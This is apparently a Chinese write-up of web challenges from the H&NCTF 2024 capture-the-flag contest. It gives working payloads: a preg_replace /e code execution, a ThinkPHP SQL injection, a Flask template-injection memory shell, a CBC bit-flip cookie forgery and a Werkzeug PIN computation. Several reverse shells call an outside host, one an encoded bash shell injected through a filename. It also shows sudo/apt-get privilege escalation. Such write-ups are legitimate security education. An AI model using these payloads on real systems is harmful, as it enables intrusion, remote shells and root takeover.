h_nCTF-wp

H&NCTF WP

[官方wp](H&NCTF 2024 官方WP (qq.com))

Please_RCE_Me

进入

image-20240522230646922

提示是?moran=flag get访问一下得到源码

image-20240522231219196

题目源码如下

<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

直接replace /e命令执行漏洞

由于正则开启了大小写匹配,所以可以用于绕过上面对于please_give_me_flag字符的检测,匹配到了就会执行task的代码,剩下的就是代码绕过了

\x2f\x66\x6c\x61\x67:/flag

?moran=flag

flag=please_give_me_flaG&task=print(file_get_contents("\x2f\x66\x6c\x61\x67"));

image-20240522231437711

ez_tp

进来

image-20240522231831675

amazing兄弟,非预期了,想想哥们上次也是被日志打了非预期,尊嘟想啸

dirsearch一扫 很多东西啊

image-20240522232435345

太多东西了 就不截完了

image-20240522232523301

有附件

简单做下分析吧

App/Home/Controller/IndexController.class.php

这里是tp的初始文件,滑到最下面可以发现如下逻辑

if (waf()){
echo "12311";
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo "success";
echo var_export($ret, true);
}

对waf的返回结果进行判断,然后走向不同的代码逻辑,这里大概可以看出来是要让结果返回false,走到sql执行那里,返回上面去看waf

$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
var_dump($input);

设置了一堆正则

foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;
}

利用套娃循环检测所有的键值是否含有黑名单字段,如果有就返回true,再往上好像也没什么特殊字段了,但现在有一个问题是如何触发这个h_n,然后去问了手GPT,得到了答案,大致格式如下

index.php/home/index/h_n

以此来触发类中的方法,然后就去审代码看逻辑了,碰巧看到了日志,搜一手flag,拿下,paylaod如下

index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

结合题目给的源码,找到对应的url(/index.php)和payload: 把路由改一下改成h_n,bp抓包,把请求 头都删掉,访问拿到flag

image-20240522233157927

ezFlask

进入

image-20240522233332665

只执行一次,很容易想到内存马,而且题目也给出了任意代码执行,这里构造模板注入进行内存马写入

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

image-20240523102927149

然后/shell?cmd=grep+-rl+”flag{“+/etc

image-20240523103301674

然后/shell?cmd=cat+/etc/jaygalf

image-20240523103351584

flag{ad9faacb-a08a-42d8-88d7-ebcc5ac91c22}

这个payload也可以:

cmd=__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /etc/jaygalf ').read())

直接在/Adventure里面发post就行

image-20240523103849908

flipPin

进来

image-20240523104043521

访问/hint得源码

image-20240523104121542

源代码如下

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

CBC反转攻击+pin码计算

看下代码逻辑大概知道是要伪造session,受shiro721影响,看到aes,很容易想到什么什么翻转攻击,再集合恶意payload伪造,

CBC脚本:

# -*- coding:utf8 -*-
import base64
import urllib.parse
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode

"""
1. 分组 16个字节一组
"""

# {"admin": 0, "us
# ername": "user1"
# }

"""
2. 获取原始密文
"""
ciphertext = 'wv7sRdpuU1HMAgqUWAOjoZuLsH9jUDnCaVtBxN8fQH6zyxmGqarbH7R/cuSUVx1xnKKDoUjIeo1GQwkg39DZ6Q=='
cipher = base64.b64decode(urllib.parse.unquote(ciphertext))
array_cipher = bytearray(cipher)

"""
3, 字节翻转
"""
offset = 10
array_cipher[offset] = array_cipher[offset]^ ord('0') ^ ord('1')
print('newCipher:',urllib.parse.quote(base64.b64encode(array_cipher)))

究其根本还是对于session的伪造,结果是将0改成其他数字,所以可以尝试考虑爆破,解码几次分析一下,大概就是在13位的样子,访问两次read,抓包,对于给出的session进行b64码表爆破,多尝试几次,最后会有一个类型不对的返回结果,证明爆破成功,修改对应session,加filename对文件进行读取即可

read?filename=巴拉巴拉

这里涉及了一个黑名单问题,把self、cgroup给waf了,没遇到过

巧不巧,第一个就是

过滤 cgroup
用mountinfo或者cpuset

替换伪造的Cookie信息,即可利用文件读取漏洞来获取pin码计算六要素

pin码计算脚本:

import hashlib
from itertools import chain
probably_public_bits = [
'ctfUser', # /etc/passwd
'flask.app', # 模式名,默认
'Flask', # 应用名,默认
'/usr/lib/python3.9/site-packages/flask/app.py' # 应用目录
]

private_bits = [
'116853226196301', # /read?filename=sys/class/net/eth0/address
'f67849d6-0b58-4a19-8e76-938d747b1e66dfb4ad54804b2fc5341f6b92e5c00dd69908f32e77c3be12ed4c26aa6783f210'# get_machine_id(), /etc/machine-id /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

这个也可以:

probably_public_bits = [
'ctfUser' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]

private_bits = [
'223171425729702', # /sys/class/net/eth0/address mac地址十进制
'19088900-1695-441f-9f76-7379c20e5547bf7ece62cf3b189c136c57b05e74107bcb7209ce7bac7c5790d857b5ec7da7b0'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

计算完pin码之后拼接访问:/console,键入pin码即可执行python代码。后续利用python反弹shell,在env里面找到flag。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

image-20240523104935783

GoJava

image-20240523105524678

dirsearch扫下

image-20240523110101572

robots.txt泄露,

image-20240523110152633

main-old.zip下载得到源码

package main

import (
"io"
"log"
"mime/multipart"
"net/http"
"os"
"strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", fs)

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
}

func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}

return nil
}

可以看到对文件名做了一定的waf

学了一点go 暑假狂补!

真就go写的,简单来说是对java文件进行编译操作

题目是对java文件进行编译操作,就是系统命令执行javac拼接文件名

系统命令,后面肯定是要跟上文件名的,所以猜测会有命令注入漏洞,构造恶意命令文件名如下

"1;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjkxLjQ0LzIzMzMgMD4mMSI= | base64 -d | bash;1.java"
bash -c "bash -i >& /dev/tcp/124.223.91.44/2333 0>&1"
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjkxLjQ0LzIzMzMgMD4mMSI=

image-20240523111546822

反弹shell

这里由于对于文件名进行了部分waf,所以使用编码来避免麻烦,

连到:

image-20240523111632964

在根目录有个memorandum,里面是root的密码 (查看备忘录文件,用该密码成功su root )

image-20240523111755779

image-20240523111919056

image-20240523112102148

H2LvFxnWENLqVxE

su root

cat /root/f*

image-20240523112226696

GPTS

复现不出来 看明白吧

[CVE-2024-31224](https://xz.aliyun.com/t/14283?time__1311=mqmx9QiQKDqGqx05dIDymDuDAOqf2%2BkdurD&alichlgref=https%3A%2F%2Fwww.bing.com%2F (qq.com))

参考:https://xz.aliyun.com/t/14283,前台存在Pickle反序列漏洞。

gpt_academic历史漏洞,今年的CVE,cookie处可以pickle反序列化,写个反弹shell的pickle,拿到 shell,/var/mail下拿到ctfer的密码,登录ctfer,sudo -l,可以sudo执行adduser,sudo adduser ctfer root,加入用户组,cat /etc/sudoers,kobe用户可以sudo执行apt-get,添加一个kobe用户,sudo adduser –gid 0 kobe,切换到kobe用户,sudo /usr/bin/apt-get update -o APT::Update::PreInvoke::=/bin/sh,提权到root,/root/f????/f?????,flag在这里

gpt_academic

开始时一个pickle反序列化漏洞,具体操作博客里面都有,就不具体说了

由于需要提权,所以上一下vshell做下权限维持,用户为ctfgame,上内核探针和信息收集没搜到什么东西,最终在

/var/spool/mail/ctfgame中发现如下内容

From root,
To ctfgame(ctfer),

You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked.

This is the last chance, please take care of your security, I helped you reset your account password.

ctfer : KbsrZrSCVeui#+R

I hope you cherish this opportunity.

尝试切换用户,切换成功,继续vshell上线

上传linpeas和LinEnum做信息收集(sudo -l)

[+] We can sudo without supplying a password!
Matching Defaults entries for ctfer on hnctf-01hxryr832qjjc3astkt4rw4dw:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ctfer may run the following commands on hnctf-01hxryr832qjjc3astkt4rw4dw:
(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin

收集到如上信息,简单来说

  • 用户ctfer可以以root权限运行以下命令,而且无需输入密码:
    • /usr/sbin/adduser: 允许执行adduser命令。
find / -perm -u=s -type f 2>/dev/null

/bin/mount
/bin/su
/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign

我们将用户添加到root组

sudo adduser ctfer root
sudo adduser --gid 0 chu0

新建用户然后切换,然后再进行一次信息收集

读取/etc/sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
ctfer ALL=(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin
kobe ALL=(root) PASSWD: /usr/bin/apt-get

可以发现有一个用户具有apt-get的root权限,尝试新建用户

sudo adduser --gid 0 kobe

kobe@hnctf-01hxryr832qjjc3astkt4rw4dw:/tmp$ id
uid=1005(kobe) gid=0(root) groups=0(root)

使用apt-get进行提权

sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

root目录拿到flag

cat /root/f*/f*

奇怪的网站

这个复现都复现不出来QAQ

进去网站有302跳转,看源码提示 vim缓存文件泄露,扫描目录发现flag.php,缓存文件为 .flag.php.swm(4次异常退出导致),

找到hint: “ 没有扫到那个文件吗?!或者去首页看看?”

扫描时,只有403文件以及200文件是实际存在的,403状态码是无权限访问,再根据首页index.png 居然被解析为php网站,可以推测.htaccess存在配置解析,同时也扫到了403 状态码的.htaccess文件。

404.php,响应包头有提示:Secret: PUT之后,服务器就直接写文件了吗?,

>预请求就是复杂请求(可能对服务器数据产生副作用的HTTP请求方法,如put,delete都会对服务器数据进行更修改,所以要先询问服务器)。

>跨域请求中,浏览器自发的发起的预请求,浏览器会查询到两次请求,第一次的请求参数是options,以检测试实际请求是否可以被浏览器接受

考察 尝试更改method方法为 OPTIONS ,可以利用文件读取漏洞,读取.htaccess文件隐藏文件ggggoku.php,进行rce

根据php解析特性(通过查看phpinfo 发现禁用了很多函数,但发现popen函数可以使用,fget也别过滤了用fgetss读,记得url编码)

rce绕过:

gggoku.php?a=${eval($_POST[0])}

POST:

$fd=popen("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",'r');
while($s=fgetss($fd)){
print_r($s);
}

发现没有权限读根目录flag,那么我们需要提权

find / -perm -u=s -type f 2>/dev/null

/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/bin/umount
/bin/mount
/bin/su

用su命令,root密码在/home/admin/passwd文件中

注意:使用su命令可能出现su must be used in terminal

使用如下命令即可:

usr/bin/script -qc /bin/bash /dev/null

执行这个命令之后解决了

在/bin/bash(Bash shell)中以非交互模式运行/usr/bin/script,并将输出记录到/dev/null